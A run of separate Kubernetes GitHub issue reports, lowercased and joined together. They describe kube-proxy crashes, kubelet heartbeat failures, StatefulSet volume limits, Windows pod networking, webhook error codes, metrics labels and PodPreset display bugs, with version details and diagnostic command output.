\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:547 +0x480\r k8s.io/kubernetes/cmd/kube-proxy/app.  options .run 0xc420a37600, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:229 +0xa0\r k8s.io/kubernetes/cmd/kube-proxy/app.newproxycommand.func1 0xc420314240, 0x9e02d70, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-proxy/app/server.go:344 +0x80\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420314240, 0xc420913fe0, 0x0, 0x2, 0xc420314240, 0xc420913fe0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420314240, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420314240, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r main.newkubeproxy.func1 0xc42079d5c0, 0xc420913fe0, 0x0, 0x2, 0xc42014b020, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/kube-proxy.go:50 +0x68\r main.  hyperkube .run.func1 0xc42079d680, 0xc42079d5c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:184 +0x6d\r created by main.  hyperkube .run\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:185 +0x588\r    \r \r   anything else we need to know?  :\r keep up the awesome work\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: virtual machines in proxmox\r - os  e.g. from /etc/os-release : container linux by coreos stable  1520.8.0 \r - kernel  e.g.  uname -a  : linux kubemaster01 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 common kvm processor genuineintel gnu/linux\r - install tools: manual kubernetes deploy\r - others:

we are investigating an issue where we see kubelet unable to send node status updates  heartbeats  to the api server for 15 consecutive minutes.  we are seeking guidance and inspiration.  we see this in multiple clusters, all in aws, and we’re running short of suspects to interrogate.  here’s some details on the  configuration of our environments:\r   kubernetes version  :  1.7.8 and 1.9.3 \r   cni versions  :  calico/node:v1.2.1  and  calico/node:v2.6.7 , respectively  per versions listed above \r - node mesh enabled\r - iptables in use\r small and medium clusters  ranging from 5 nodes to 50 \r   host os  :\r    linux ip-172-21-189-23 4.4.0-1047-aws  56-ubuntu smp sat jan 6 19:39:06 utc 2018 x86_64 x86_64 x86_64 gnu/linux   \r \r   docker info  :\r    \r containers: 23\r  running: 20\r  paused: 0\r  stopped: 3\r images: 14\r server version: 1.12.6-cs13\r storage driver: aufs\r  root dir: /var/lib/docker/aufs\r  backing filesystem: extfs\r  dirs: 128\r  dirperm1 supported: true\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: host overlay bridge null\r swarm: inactive\r runtimes: runc\r default runtime: runc\r security options: apparmor seccomp\r kernel version: 4.4.0-1030-aws\r operating system: ubuntu 16.04.3 lts\r ostype: linux\r architecture: x86_64\r cpus: 4\r total memory: 29.94 gib\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r warning: no swap limit support\r insecure registries:\r  127.0.0.0/8\r    \r \r   kubelet flags  :\r    \r --allow-privileged=true \\\r --cluster-dns=${cluster_dns } \\\r --cluster-domain=${cluster_domain} \\\r --cloud-provider=aws \\\r --cni-conf-dir=/etc/kubernetes/cni/net.d \\\r --cni-bin-dir=/opt/cni/bin \\\r --container-runtime=docker \\\r --eviction-hard=memory.available<200mi \\\r --kubeconfig=/etc/kubernetes/kubeconfig.yaml \\\r --kube-reserved-cgroup=root \\\r --kube-reserved=cpu=1,memory=2gi \\\r --network-plugin=cni \\\r --node-labels=${kubelet_node_labels} \\\r --pod-manifest-path=/etc/kubernetes/manifests \\\r --register-node=true \\\r --serialize-image-pulls=false \\\r --tls-cert-file=cert.pem \\\r --tls-private-key-file=key.pem \\\r ${kubelet_node_taints}\r    \r \r please help! : \r

is this a bug report or feature request?  :\r  \r   what happened  :\r deployed k8s-1.10 using kubeadm  60 nodes setup  and everything was up & running.\r restarted one of the kube-proxy pod and then it failed to come up\r pod was up & running but after restart if went into error state\r \r $ kubectl get pod --namespace=kube-system  -o wide |grep kube-proxy-pj4xw\r kube-proxy-pj4xw                          0/1       crashloopbackoff   8          17m       1.0.0.76   minion-30-5-0-5\r \r below is the error:-\r $ kubectl logs --namespace=kube-system kube-proxy-pj4xw\r i0424 06:24:47.961665       1 feature_gate.go:226  feature gates: &{{} map  }\r error: unable to read certificate-authority /var/run/secrets/kubernetes.io/serviceaccount/ca.crt for default due to open /var/run/secrets/kubernetes.io/serviceaccount/ca.crt: no such file or directory\r \r   what you expected to happen  :\r pod should up and running after restart \r \r   how to reproduce it  as minimally and precisely as possible   :\r delete one of kube-proxy pod\r \r   anything else we need to know?  :\r not seen this issue with k8s-1.9.1\r \r disabled feature mountpropagation through featuregates as with mountpropagation enable it was not working as well so gave a try with disable\r \r also added \ mountflags=shared\  to /etc/systemd/system/multi-user.target.wants/docker.service as without this all test-pod deployment were failing\r \r after runing command \ mount --make-rshared /\  and restart docker service it started to work but next time again after delete pod, it failed to come up\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r deployed using kubeadm  60 nodes setup \r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux minion-30-5-0-9 4.6.0-040600-generic  201606100558 smp fri jun 10 10:01:15 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r \r                           \r   docker version \r    \r client:\r  version:      1.13.1\r  api version:  1.26\r  go version:   go1.6.2\r  git commit:   092cba3\r  built:        thu nov  2 20:40:23 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      1.13.1\r  api version:  1.26  minimum version 1.12 \r  go version:   go1.6.2\r  git commit:   092cba3\r  built:        thu nov  2 20:40:23 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r                           \r \r   kubectl describe pod --namespace=kube-system kube-proxy-pj4xw \r    \r name:           kube-proxy-pj4xw\r namespace:      kube-system\r node:           minion-30-5-0-5/1.0.0.76\r start time:     tue, 24 apr 2018 06:23:59 +0000\r labels:         controller-revision-hash=1193416634\r                 k8s-app=kube-proxy\r                 pod-template-generation=1\r annotations:    <none>\r status:         running\r ip:             1.0.0.76\r controlled by:  daemonset/kube-proxy\r containers:\r   kube-proxy:\r     container id:  docker://a7cce480ec211e0fdf53a5216e1d4f0601feb25df0b35370e3194203ec2f5165\r     image:         k8s.gcr.io/kube-proxy-amd64:v1.10.0\r     image id:      docker-pullable://k8s.gcr.io/kube-proxy-amd64@sha256:fc944b06c14cb442916045a630d5e374dfb9c453dfc56d3cb59ac21ea4268875\r     port:          <none>\r     host port:     <none>\r     command:\r       /usr/local/bin/kube-proxy\r       --config=/var/lib/kube-proxy/config.conf\r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       error\r       exit code:    1\r       started:      tue, 24 apr 2018 06:34:44 +0000\r       finished:     tue, 24 apr 2018 06:34:45 +0000\r     ready:          false\r     restart count:  7\r     environment:    <none>\r     mounts:\r       /lib/modules from lib-modules  ro \r       /run/xtables.lock from xtables-lock  rw \r       /var/lib/kube-proxy from kube-proxy  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-proxy-token-b526l  ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   kube-proxy:\r     type:      configmap  a volume populated by a configmap \r     name:      kube-proxy\r     optional:  false\r   xtables-lock:\r     type:          hostpath  bare host directory volume \r     path:          /run/xtables.lock\r     hostpathtype:  fileorcreate\r   lib-modules:\r     type:          hostpath  bare host directory volume \r     path:          /lib/modules\r     hostpathtype:  \r   kube-proxy-token-b526l:\r     type:        secret  a volume populated by a secret \r     secretname:  kube-proxy-token-b526l\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node-role.kubernetes.io/master:noschedule\r                  node.cloudprovider.kubernetes.io/uninitialized=true:noschedule\r                  node.kubernetes.io/disk-pressure:noschedule\r                  node.kubernetes.io/memory-pressure:noschedule\r                  node.kubernetes.io/not-ready:noexecute\r                  node.kubernetes.io/unreachable:noexecute\r events:\r   type     reason                 age                from                      message\r   ----     ------                 ----               ----                      -------\r   normal   successfulmountvolume  14m                kubelet, minion-30-5-0-5  mountvolume.setup succeeded for volume \ lib-modules\ \r   normal   successfulmountvolume  14m                kubelet, minion-30-5-0-5  mountvolume.setup succeeded for volume \ xtables-lock\ \r   normal   successfulmountvolume  14m                kubelet, minion-30-5-0-5  mountvolume.setup succeeded for volume \ kube-proxy\ \r   normal   successfulmountvolume  14m                kubelet, minion-30-5-0-5  mountvolume.setup succeeded for volume \ kube-proxy-token-b526l\ \r   normal   started                13m  x4 over 14m   kubelet, minion-30-5-0-5  started container\r   normal   pulled                 13m  x5 over 14m   kubelet, minion-30-5-0-5  container image \ k8s.gcr.io/kube-proxy-amd64:v1.10.0\  already present on machine\r   normal   created                13m  x5 over 14m   kubelet, minion-30-5-0-5  created container\r   warning  backoff                4m  x47 over 14m   kubelet, minion-30-5-0-5  back-off restarting failed container\r

feature request  :\r \r please add ability to add/remove persistent volumes for statefulset by editing volumeclaimtemplates\r \r  \r   what happened  :\r i'm trying to add new persistent volume to existing statefulset by adding metadata to volumeclaimtemplates and getting error \r > the statefulset \ statefulsetwithpvc\  is invalid: spec: forbidden: updates to statefulset spec for fields other than 'replicas', 'template', and 'updatestrategy' are forbidden.\r \r   what you expected to happen  :\r new persistent volume created for added claim\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create  statefulset with volumeclaimtemplates:\r    \r volumeclaimtemplates:\r   - metadata:\r       name: pvc1\r     spec:\r       accessmodes:\r         - \ readwriteonce\ \r       resources:\r         requests:\r           storage: 1gi\r    \r 2. add new claim:\r    \r volumeclaimtemplates:\r   - metadata:\r       name: pvc1\r     spec:\r       accessmodes:\r         - \ readwriteonce\ \r       resources:\r         requests:\r           storage: 1gi\r  - metadata:\r       name: pvc2\r     spec:\r       accessmodes:\r         - \ readwriteonce\ \r       resources:\r         requests:\r           storage: 1gi\r    \r \r   environment  :\r - kubernetes version :\r > client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7+coreos.0\ , gitcommit:\ 768e049ab5230010251f30475e0e785e2e999566\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t00:17:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i scheduled a pod based on windows server 2016 on a windows server version 1803 node with the alpha hyper-v support enabled. the pod starts, but does not get an ip. the service gets an external ip through load balancer, but its not accessible.\r \r \r    bash\r $ kubectl get pod -o wide\r name                          ready     status              restarts   age       ip            node\r iis-2016-66c5dc745f-r29mf     1/1       running             0          51s       <none>        48797k8s9001\r iis-2016-66c5dc745f-t42m6     0/1       containercreating   0          2m        <none>        48797k8s9000\r whoami-1709-7bc765bdd-w26tg   1/1       running             0          1h        10.240.0.85   48797k8s9000\r \r $ kubectl get svc\r name              type           cluster-ip     external-ip     port s         age\r iis               loadbalancer   10.0.255.126   13.77.153.27    80:31069/tcp   1h\r kubernetes        clusterip      10.0.0.1       <none>          443/tcp        1h\r whoami-1709-svc   loadbalancer   10.0.127.69    13.66.159.189   80:32435/tcp   1h\r \r $ curl http://10.0.255.126\r curl:  7  failed to connect to 10.0.255.126 port 80: connection refused\r $ curl http://13.77.153.27\r \r    \r \r   what you expected to happen  :\r \r pod should be accessible via pod ip or load balancer ip\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy k8s v1.10.6 cluster with windows nodes. use acs-engine with this  apimodel  https://github.com/azure/acs-engine/blob/master/examples/windows/kubernetes-hyperv.json \r 2.  kubectl create -f https://raw.githubusercontent.com/patricklang/windows-k8s-samples/master/hypervexamples/iis-2016.yaml \r \r   anything else we need to know?  :\r \r  cc @feiskyer @daschott\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.6\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803  on nodes  \r - kernel  e.g.  uname -a  :10.0.17134.228\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r this feature needs tests\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r mutating and validating webhooks that respond with an admissionresult with  allowed  set to  false  cause the apiserver to respond to the initiating request with a 500. this behavior is easily verifiable looking at the code,  error source  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/validating/dispatcher.go l133 ,  flagged as internal error 500  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/validating/dispatcher.go l73 \r \r   what you expected to happen  :\r \r the apiserver would respond to the request with a 4xx error code. supporting reasoning for expecting this:\r an excerpt from the  docs  https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/ \r > this admission controller calls any validating webhooks which match the request. matching webhooks are called in parallel; if any of them rejects the request, the request fails\r \r my expectation is that if a webhook  particularly a validating webhook  says a request is not allowed, the apiserver should respond with a 4xx error  it's the client's fault, they're trying to do something that is not supported , not a 5xx error  there isn't something wrong with the apiserver . \r prior art for the apiserver responding with a 4xx error when an admission plugin decides the request is not allowed  here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle/admission.go l79 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a validating webhook with failure policy set to  fail  that will under some circumstance respond with an admissionresult of  allowed  set to false. \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu\r \r <!-- do not edit below this line -->\r 

i'm running kubernetes on coreos and using the  kubelet-wrapper  script provided by coreos to run the  kubelet  on my minions. when i pass the  --containerized=true  option, i get the following error from the  kubelet :      kubelet-wrapper 1277 : i0425 22:47:26.061605    1277 kubelet.go:2365  skipping pod synchronization -  failed to start containermanager system validation failed - open /rootfs/proc/mounts: no such file or directory       i'm wanting to mount nfs shares into pods, which works when i use the native  kubelet  app that coreos provides   v1.1.2  , but doesn't work when i use the  kubelet-wrapper . after some digging, i'm thinking i need to pass the  --containerized=true  option to the  kubelet-wrapper   to pass through to the  kubelet  container  rkt  is running  in order to get the nfs persistent volumes working.

meta issue:  28789\r \r this issue tracks the progress of docker integration via cri.\r \r the initial cri server-side implementation for docker is in the   pkg/kubelet/dockershim   https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet/dockershim  package. we chose to let the code remain in the kubelet codebase to help with the migration. it will also not go through grpc/protobuf until the features are completed.\r \r for 1.5, we aim to have a functional docker integration.\r -  x    p0   feature parity\r   -  x  pass node conformance e2e test  https://github.com/kubernetes/kubernetes/issues/33189 \r   -  x  pass cluster e2e test  https://github.com/kubernetes/kubernetes/issues/33189   host port support has been dropped for the integration in 1.5 \r -  x    p0   reliability and regression-proof\r   -  x  set up node e2e continuous jenkins builders  https://github.com/kubernetes/kubernetes/pull/33054, https://github.com/kubernetes/test-infra/pull/617 \r   -  x  set up cluster e2e continuous jenkins builders  https://github.com/kubernetes/test-infra/pull/712 \r   -  x  set up per-pr, presubmit builds  https://github.com/kubernetes/kubernetes/pull/34068, https://github.com/kubernetes/test-infra/pull/755 \r   -  x  set up soak e2e builders  https://github.com/kubernetes/test-infra/pull/922 \r -  x    p1   validate cri integration via grpc\r   -  x  support switching to using grpc via a kubelet flag  https://github.com/kubernetes/kubernetes/pull/33988 \r -       p2   cri conformance test  https://github.com/kubernetes/kubernetes/issues/34040 \r -  x    p2   backward compatibility\r   -  x  support docker v1.10\r -  x    p2   no performance regression\r   -  x  set up node e2e serial builds  https://github.com/kubernetes/kubernetes/pull/34141, https://github.com/kubernetes/test-infra/pull/761 \r   -  x  verify difference latency, resource usage, etc, are within our slo  https://github.com/kubernetes/contrib/pull/1841 \r -  x    p3   kubelet in-place upgrade  ? \r \r ---\r \r implementation todos:  29478\r current integration ci node e2e builder   33189 : https://k8s-testgrid.appspot.com/google-node kubelet-cri-gce-e2e\r current integration ci e2e builder  https://github.com/kubernetes/test-infra/pull/712 : https://k8s-testgrid.appspot.com/google-gce gci-gce-cri\r current presubmit builder:\r -  @k8s-bot cri node e2e test this  to trigger node e2e test.\r -  @k8s-bot cri e2e test this  to trigger e2e test.\r -  @k8s-bot cri test this  to trigger both.\r \r relevant prs so far:  29700,  29553,  29580\r relevant issues:  29252\r

github.com/go-openapi/spec  calls mustloadswagger20schema which loads an asset via json unmarshal on every init.  anything that pulls in that dependency  genericapiserver, which is a lot  will get slower  hyperkube, and maybe kubectl if it accidentally pulls it in .  looks like we'll need to support a patch upstream to make it lazy.

i think its better if it run like service loop, always run when workingqueue is not empty\r

bug report:\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :  physical\r -   os    e.g. from /etc/os-release : on-premise\r -   kernel    e.g.  uname -a  :  linux 3.10.0-514.6.1.el7.x86_64  1 smp wed jan 18 13:06:36 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r the following 8 container_network  metrics are coming from cadvisor with container_name=\ pod\  instead of container_name=\ real name of container\ :\r \r container_network_receive_bytes_total{container_name=\ pod\ }\r container_network_receive_errors_total{container_name=\ pod\ }\r container_network_receive_packets_dropped_total{container_name=\ pod\ }\r container_network_receive_packets_total{container_name=\ pod\ }\r container_network_transmit_bytes_total{container_name=\ pod\ }\r container_network_transmit_errors_total{container_name=\ pod\ }\r container_network_transmit_packets_dropped_total{container_name=\ pod\ }\r container_network_transmit_packets_total{container_name=\ pod\ }\r \r   what you expected to happen  :\r the same like other container_  metrics , for example:  container_memory_usage_bytes{container_name=\ kubedns\ ....}\r \r   how to reproduce it    as minimally and precisely as possible :\r see them under https://<node ip>:10250/metrics\r \r   anything else we need to know  :\r thanks!\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : podpresets, kubectl\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : ubuntu 16.10  yakkety yak  7-node single master kubernetes cluster\r -   os    e.g. from /etc/os-release : client: macos darwin 10.12.4, server: ubuntu 16.10 \r -   kernel    e.g.  uname -a  : 4.8.0.46-generic\r -   install tools  : kubeadm\r -   others  : using  --feature-gates=allalpha=true  on all k8s manifests and kubelet.\r \r   what happened  :\r created a  podpreset  using the following manifest:\r    \r kind: podpreset\r apiversion: settings.k8s.io/v1alpha1\r metadata:\r   name: busybox-settings\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       role: busybox\r   env:\r     - name: nate\r       value: \ isgood\ \r    \r  kubectl create -f busybox-podpreset.yaml  returns  podpreset \ busybox-settings\  created , but  kubectl get podpreset  gives me the following error:\r \r    \r name      kind\r error: unknown type &settings.podpreset{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ busybox-settings\ , generatename:\ \ , namespace:\ default\ , selflink:\ /apis/settings.k8s.io/v1alpha1/namespaces/default/podpresets/busybox-settings\ , uid:\ 48fd7c1c-25f7-11e7-87ae-0025905ca872\ , resourceversion:\ 1574921\ , generation:1, creationtimestamp:v1.time{time:time.time{sec:63628309766, nsec:0, loc:  time.location  0x26c11e0 }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\ \ }, spec:settings.podpresetspec{selector:v1.labelselector{matchlabels:map string string{\ role\ :\ busybox\ }, matchexpressions:  v1.labelselectorrequirement nil }, env:  api.envvar{api.envvar{name:\ nate\ , value:\ isgood\ , valuefrom:  api.envvarsource  nil }}, envfrom:  api.envfromsource nil , volumes:  api.volume nil , volumemounts:  api.volumemount nil }}\r     \r \r however,  kubectl get podpreset -o yaml busybox-settings  returns the expected manifest:\r    \r apiversion: settings.k8s.io/v1alpha1\r kind: podpreset\r metadata:\r   creationtimestamp: 2017-04-20t18:29:26z\r   generation: 1\r   name: busybox-settings\r   namespace: default\r   resourceversion: \ 1574921\ \r   selflink: /apis/settings.k8s.io/v1alpha1/namespaces/default/podpresets/busybox-settings\r   uid: 48fd7c1c-25f7-11e7-87ae-0025905ca872\r spec:\r   env:\r   - name: nate\r     value: isgood\r   selector:\r     matchlabels:\r       role: busybox\r    \r also, the podpreset works as expected; pods with the label  role: busybox  are receiving the environment variable as indicated in the podpreset, as well as the following line in the manifest for the pod:\r    \r metadata:\r   annotations:\r     podpreset.admission.kubernetes.io/busybox-settings: \ 1574921\ \r    \r \r   what you expected to happen  :\r i expected  kubectl get podpreset  to return a table of existing podpresets along with their selectors.\r \r   how to reproduce it    as minimally and precisely as possible :\r as indicated above:\r 1. enable a kubernetes 1.6.2 cluster to use podpresets\r 2. create a podpreset using the manifest above\r 3. run  kubectl get podpreset \r \r   anything else we need to know  :\r also of note:  kubectl delete  works fine on podpresets, either by using the manifest file creating it or the name of the manifest. also, tab completion works on podpresets on the command line, as well as  -o json  and  -o jsonpath . only  kubectl get podpreset  and  kubectl get podpreset -o wide  seem to be broken.\r

https://k8s-testgrid.appspot.com/release-1.7-blocking aws-release-1-7&width=20\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-release-1-7/213\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:424\r jun 15 08:26:36.910: remaining rs are: &v1beta1.replicasetlist{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:v1.listmeta{selflink:\ /apis/extensions/v1beta1/namespaces/e2e-tests-gc-3lg8r/replicasets\ , resourceversion:\ 5268\ }, items:  v1beta1.replicaset nil }\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:418\r    \r \r probably caused by https://github.com/kubernetes/kubernetes/pull/45764, though don't understand why it only fails on aws. cc @kargakis @krmayankk \r \r @justinsb i remember gc tests were failing on aws  but not on other platform  months before, do you happen to know the cause?\r \r cc @kubernetes/kubernetes-release-managers \r

 \r   what happened  :\r \r running multiple computation jobs on google computing engine, docker, and watch how many pods are\r done and how many still running. when checking pods for completion, one pods  and i\r don't know which one  suddenly moves back to running.\r \r see terminal output below\r \r beamuser@pigsty:~/documents/egs/runegs/xcscripts$ kubectl get pods -a | grep co | wc\r     588    2940   34104\r beamuser@pigsty:~/documents/egs/runegs/xcscripts$ kubectl get pods -a | grep co | wc\r     593    2965   34394\r beamuser@pigsty:~/documents/egs/runegs/xcscripts$ kubectl get pods -a | grep co | wc\r     597    2985   39402\r beamuser@pigsty:~/documents/egs/runegs/xcscripts$ kubectl get pods -a | grep co | wc\r     596    2980   34568\r beamuser@pigsty:~/documents/egs/runegs/xcscripts$ kubectl get pods -a | grep co | wc\r     596    2980   34568\r \r   what you expected to happen  :\r \r there is no restart policy, and once pod is completed it should stay completed\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r cannot reproduce at will, but it happens sometimes\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r google computing engine\r - os  e.g. from /etc/os-release :\r linux/docker\r - kernel  e.g.  uname -a  :\r linux pigsty 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r docker version 1.12.6, build 78d1802

is this a bug report or feature request?  :\r  \r it would be nice if the deployment object was labeled with the current  pod-template-hash  so that it's easier to find only the pods of the newest replicaset. currently to find pods of the newest replicaset we need to find all the replicasets belonging to a deployment, get  pod-template-hash  from the one with the highest revision, and then get pods using  pod-template-hash  in label selector.

